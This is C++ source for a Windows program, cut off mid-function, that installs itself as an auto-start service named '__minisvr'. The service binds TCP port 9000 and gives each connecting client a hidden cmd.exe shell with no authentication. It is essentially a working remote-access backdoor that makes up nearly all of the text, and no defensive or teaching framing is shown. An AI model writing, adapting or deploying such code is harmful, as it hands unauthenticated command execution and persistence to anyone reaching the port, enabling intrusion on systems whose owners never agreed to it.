/////////////////////////////////////////////////////
// minisrv.cpp
#define _DBG
#include "CService.h"
#include <stdio.h>
#pragma comment(lib, "ws2_32")
#pragma comment(lib, "advapi32")
#define PORT 9000
#define MAX_BUFFER_SIZE 10240
typedef struct _conn
{
SOCKET sockfd;
HANDLE hPipe;
} CONN, *PCONN;
typedef struct _cmdsession
{
HANDLE hProcess;
HANDLE hThread;
HANDLE hReadThread;
HANDLE hWriteThread;
DWORD dwProcessId;
}CMDSESSION, *PCMDSESSION;
char g_szSendBuf[MAX_BUFFER_SIZE] = {0};
CService minisvr("__minisvr");
SERVICE_STATUS ss = {0};
void WINAPI ServiceMain(DWORD argc, LPSTR* argv);
void WINAPI Handler(DWORD dwOpCode);
DWORD WINAPI SvrThread(LPVOID lParam);
DWORD WINAPI Shell(LPVOID);
DWORD WINAPI WritePipe(LPVOID lParam);
DWORD WINAPI ReadPipe(LPVOID lParam);
DWORD WINAPI TelnetSrv(LPVOID lParam);
BOOL EndConnection(PCMDSESSION);
void perr(char* msg);
void Usage(char*);
#ifdef _DBG
void dbg_err(SOCKET* psockfd, char* msg);
#endif
int main(int argc, char* argv[])
{
if(argc > 1 && argc < 3)
{
if(!stricmp(argv[1], "-?") || !stricmp(argv[1], "--help"))
{
Usage(argv[0]);
return 0;
}
if(stricmp(argv[1], "--install") == 0)
{
char szExePath[MAX_PATH] = {0};
GetModuleFileName(NULL, szExePath, MAX_PATH);
if(!minisvr.OpenSCManager(NULL, SC_MANAGER_CREATE_SERVICE))
return -1;
minisvr.si.lpDisplayName = "__minisvr";
minisvr.si.dwDesiredAccess = SERVICE_ALL_ACCESS;
minisvr.si.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
minisvr.si.dwStartType = SERVICE_AUTO_START;
minisvr.si.dwErrorControl = SERVICE_ERROR_NORMAL;
minisvr.si.lpBinaryPathName = szExePath;
if(!minisvr.CreateService())
return -1;
cout << "Server Install OK!" << endl;
if(!minisvr.OpenService(SERVICE_START))
return -1;
if(!minisvr.StartService())
return -1;
cout << "Server Start OK!" << endl;
return 0;
}
if(stricmp(argv[1], "--remove") == 0)
{
if(!minisvr.OpenSCManager(NULL, SC_MANAGER_ALL_ACCESS))
return -1;
if(!minisvr.OpenService(SERVICE_ALL_ACCESS))
return -1;
if(!minisvr.DeleteService())
return -1;
cout << "Server Remove OK!" << endl;
return 0;
}
}
cout << "Initialize Service" << endl;
if(!minisvr.InitService(ServiceMain))
return -1;
return 0;
}
void WINAPI ServiceMain(DWORD argc, LPSTR* argv)
{
ss.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
ss.dwCurrentState = SERVICE_START_PENDING;
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
ss.dwWin32ExitCode = 0;
ss.dwServiceSpecificExitCode = 0;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
if(!minisvr.RegisterServiceCtrlHandler(Handler))
return;
// some initial code
HANDLE hThread = CreateThread(NULL, 0, TelnetSrv, NULL, 0, NULL);
if(hThread == NULL)
{
ss.dwCurrentState = SERVICE_STOPPED;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
ss.dwWin32ExitCode = 0;
ss.dwServiceSpecificExitCode = -1;
minisvr.SetServiceStatus(ss);
return;
}
ss.dwCurrentState = SERVICE_RUNNING;
ss.dwCheckPoint = 0;
ss.dwWin32ExitCode = 0;
if(!minisvr.SetServiceStatus(ss))
return;
}
void WINAPI Handler(DWORD dwOpCode)
{
switch(dwOpCode)
{
case SERVICE_CONTROL_PAUSE:
ss.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
ss.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
ss.dwCurrentState = SERVICE_STOPPED;
ss.dwWin32ExitCode = 0;
ss.dwServiceSpecificExitCode = 0;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
if(!minisvr.SetServiceStatus(ss))
return;
return;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
if(!minisvr.SetServiceStatus(ss))
return;
}
DWORD WINAPI TelnetSrv(LPVOID lParam)
{
WSADATA wsaData;
SOCKET sockfd;
SOCKET newsockfd;
struct sockaddr_in sa;
struct hostent* hp;
char szHostName[256] = {0};
int nRet = 0;
nRet = WSAStartup(MAKEWORD(1, 1), &wsaData);
if(nRet != 0)
{
perr("WSAStartup() failed.");
return -1;
}
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if(sockfd == SOCKET_ERROR)
{
perr("socket() failed.");
return -1;
}
nRet = gethostname(szHostName, sizeof(szHostName));
if(nRet == SOCKET_ERROR)
{
perr("gethostname() failed.");
return -1;
}
hp = gethostbyname(szHostName);
if(hp == NULL)
{
perr("gethostbyname()");
return -1;
}
sa.sin_family = AF_INET;
memcpy(&sa.sin_addr.S_un.S_addr, hp->h_addr_list[0], hp->h_length);
sa.sin_port = htons(PORT);
nRet = bind(sockfd, (sockaddr*)&sa, sizeof(sa));
if(nRet == SOCKET_ERROR)
{
perr("bind()");
return -1;
}
nRet = listen(sockfd, 5);
if(nRet == SOCKET_ERROR)
{
perr("listen() failed.");
return -1;
}
int socklen = sizeof(sa);
while(1)
{
newsockfd = accept(sockfd, (sockaddr*)&sa, &socklen);
if(newsockfd == INVALID_SOCKET)
{
perr("accept() failed.");
return -1;
}
CreateThread(NULL, 0, Shell, &newsockfd, 0, NULL);
}
return 0;
}
DWORD WINAPI Shell(LPVOID lParam)
{
HANDLE hWriteThread = NULL;
HANDLE hReadThread = NULL;
HANDLE hReadFile = NULL;
HANDLE hWriteFile = NULL;
HANDLE hWritePipe = NULL;
HANDLE hReadPipe = NULL;
SOCKET sockfd = *((SOCKET*)lParam);
int nRet = 0;
char szShell[MAX_PATH+1] = {0};
CONN ConnRead;
CONN ConnWrite;
CMDSESSION CmdSession;
PROCESS_INFORMATION pi;
STARTUPINFO si;
SECURITY_ATTRIBUTES PipeAttr;
PipeAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
PipeAttr.lpSecurityDescriptor = NULL;
PipeAttr.bInheritHandle = TRUE;
ConnRead.sockfd = sockfd;
ConnWrite.sockfd = sockfd;
nRet = CreatePipe(&hReadFile, &hWritePipe, &PipeAttr, 0);
#ifdef _DBG
if(!nRet)
{
dbg_err(&sockfd, "Read CreatePipe() failed.");
return -1;
}
#endif
nRet = CreatePipe(&hReadPipe, &hWriteFile, &PipeAttr, 0);
#ifdef _DBG
if(!nRet)
{
dbg_err(&sockfd, "Write CreatePipe() failed.");
return -1;
}
#endif
ConnRead.hPipe = hReadFile;
ConnWrite.hPipe = hWriteFile;
CmdSession.hWriteThread = CreateThread(NULL, 0, WritePipe, (LPVOID)&ConnWrite, 0, NULL);
#ifdef _DBG
if(CmdSession.hWriteThread == NULL)
{
dbg_err(&sockfd, "Create WritePipe Thread failed.");
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hReadFile);
CloseHandle(hWriteFile);
return -1;
}
#endif
CmdSession.hReadThread = CreateThread(NULL, 0, ReadPipe, (LPVOID)&ConnRead, 0, NULL);
#ifdef _DBG
if(CmdSession.hReadThread == NULL)
{
dbg_err(&sockfd, "Create ReadPipe Thread failed.");
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hReadFile);
CloseHandle(hWriteFile);
return -1;
}
#endif
Sleep(250);
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdInput = hReadPipe;
si.hStdOutput = hWritePipe;
si.hStdError = hWritePipe;
si.wShowWindow = SW_HIDE;
nRet = GetSystemDirectory(szShell, MAX_PATH);
#ifdef _DBG
if(nRet == 0)
{
dbg_err(&sockfd, "GetSystemDirectory() failed.");
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hReadFile);
CloseHandle(hWriteFile);
return -1;
}
#endif
strcat(szShell, "\\cmd.exe");
nRet = CreateProcess(NULL, szShell, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
#ifdef _DBG
if(!nRet)
{
dbg_err(&sockfd, "Winnt CreateProcess() failed.");
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hReadFile);
CloseHandle(hWriteFile);
return -1;
}
#endif
CmdSession.hProcess = pi.hProcess;
CmdSession.hThread = pi.hThread;
CmdSession.dwProcessId = pi.dwProcessId;
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
EndConnection(&CmdSession);
CloseHandle(hWriteThread);
CloseHandle(hReadThread);
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hReadFile);
CloseHandle(hWriteFile);
return 0;
}
DWORD WINAPI ReadPipe(LPVOID lParam)
{
char szSendBuf[MAX_BUFFER_SIZE] = {0};
unsigned long nBytesRead = 0;
int nRet = 0;
CONN ConnRe
